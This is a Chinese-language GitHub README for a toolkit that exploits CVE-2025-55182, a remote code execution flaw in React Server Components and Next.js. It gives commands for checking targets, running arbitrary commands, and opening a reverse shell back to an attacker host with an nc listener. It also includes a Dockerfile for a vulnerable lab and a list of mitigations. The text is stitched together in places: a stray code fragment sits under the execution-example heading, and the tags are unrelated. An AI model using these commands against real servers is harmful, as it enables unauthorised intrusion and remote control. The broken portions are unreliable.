J4ck3LSyN-Gen2/CVE-2025-55182
GitHub: J4ck3LSyN-Gen2/CVE-2025-55182
针对 CVE-2025-55182 React Server Components 反序列化 RCE 漏洞的验证与利用工具包,支持漏洞检测、命令执行和反弹 Shell。
Stars: 0 | Forks: 0
# CVE-2025-55182:React2Shell - Next.js 远程代码执行工具包
[](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
[](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
[](LICENSE)
## 概述
本仓库包含一个简单的工具包,用于验证、利用 CVE-2025-55182(也称为 **React2Shell**)并获取交互式 shell。这是一个存在于 React Server Components (RSC) 中的严重预认证远程代码执行 (RCE) 漏洞,影响版本 19.0.0、19.1.0、19.1.1 和 19.2.0。
该漏洞源于 React Flight 协议中的不安全反序列化问题,允许未经身份验证的攻击者在受影响的服务器上执行任意代码。该漏洞于 2025 年 12 月 3 日披露,CVSS 评分为 10.0(严重)。虽然主要影响 React Server Components,但也对使用 RSC 的框架(如 Next.js)产生影响。
**注意:** 本工具包仅供教育和研究目的。未经授权利用漏洞是非法且不道德的。请负责任地使用,并且仅在您拥有或明确获得测试许可的系统上使用。
## 受影响组件
- **React Server Components**:版本 19.0.0、19.1.0、19.1.1、19.2.0
- **相关框架**:Next.js(在某些情况下可能通过 CVE-2025-66478 受影响)
- **利用向量**:RSC payload 中的不安全反序列化,可在无认证的情况下实现 RCE。
欲了解更多详情,请参阅官方公告:
- [NVD CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [React 安全公告](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
- [Wiz 博客关于 React2Shell 的文章](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)
### 用法
`:目标 URL(例如 `http://vulnerable-site.com`)。
- `--mode `:操作模式。
- `validate`:仅检查漏洞,不进行利用。
- `sploit`:执行自定义命令。
- `shell`:建立交互式反向 shell。
- `--command `:要执行的命令(`sploit` 模式必需)。
- `--lhost `:反向 shell 的本地主机(`shell` 模式必需)。
- `--lport `:反向 shell 的本地端口(默认:4444)。
### 示例
1. **验证漏洞**:
python sploit.py --target http://example.com --mode validate
2. **利用并执行命令**:
python sploit.py --target http://example.com --mode sploit --command "whoami"
3. **获取交互式 Shell**:
首先,设置监听器(例如 `nc -lvnp 4444`),然后:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
## 工作原理
1. **漏洞检测**:发送特制的 RSC payload 以检测反序列化缺陷。
2. **Payload 构造**:利用不安全反序列化通过 React 的 Flight 协议注入代码。
3. **Shell 访问**:通过执行连接回攻击者机器的 payload,升级为反向 shell。
技术深度解析:
- [Datadog Security Labs 分析](https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/)
- [Dynatrace 博客](https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/)
### 执行示例
);
}
```
### 创建最终无懈可击的 Dockerfile(确切内容)
```
FROM node:20-alpine
WORKDIR /app
# 首先仅复制 package 文件(优化缓存)
COPY package*.json ./
# 使用 legacy peer deps 安装依赖(此旧版 canary 需要)
RUN npm install --legacy-peer-deps
# 复制应用的其余部分
COPY . .
# 删除 tsconfig.json 以避免 Next.js 尝试自动安装 TypeScript(这是关键所在)
RUN rm -f tsconfig.json
# 构建 Next.js 应用
RUN npm run build
# 暴露端口
EXPOSE 3000
# 启动应用
CMD ["npm", "start"]
```
### 构建并运行(这些命令现在可以完美运行)
```
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
```
### 在浏览器中打开
→ http://localhost:3000完成了。容器在 <2 秒内启动,并准备好进行原型污染 → RCE 链。随时一键删除并重启的命令:bash
```
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
```
## 缓解措施
- 将 React 更新到 19.2.1 或更高版本。
- 如果不需要,请禁用或限制 React Server Components。
- 监控利用企图,因为已观察到国家支持的攻击者(例如中国关联组织)正迅速针对此 CVE 进行攻击。
有关威胁情报,请参阅 [AWS 安全博客](https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-sploit-react2shell-vulnerability-cve-2025-55182/)。
## 免责声明
本工具按“原样”提供,不提供任何保证。作者不对因使用本工具包而导致的任何误用或损害负责。在测试漏洞之前,请务必获得许可。
## 许可证
本项目采用 MIT 许可证授权 - 有关详情,请参阅 [LICENSE](LICENSE) 文件。
## 参考资料
- [Cisco 公告](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-react-flight-TYw32Ddb)
- [Palo Alto Unit 42 报告](https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/)
- [CMU ISO 新闻](https://www.cmu.edu/iso/news/2025/react2shell-critical-vulnerability.html)
- [Cloudflare 博客](https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-sploitation-threat-brief/)
- [Huntress 博客](https://www.huntress.com/blog/peerblight-linux-backdoor-sploits-react2shell)
- [JFrog 博客](https://jfrog.com/blog/2025-55182-and-2025-66478-react2shell-all-you-need-to-know/)
- [Elastic Security](https://www.elastic.co/guide/en/security/current/react2shell-cve-2025-55182-sploitation-attempt.html)
react2shell lab is running!
Start sploiting → /api/vulnerable-endpoint
标签:CISA项目, CVE-2025-55182, CVSS 10.0, PoC, RCE, React2Shell, React Server Components, RSC, 交互式Shell, 反序列化漏洞, 暴力破解, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 验证脚本, 高危漏洞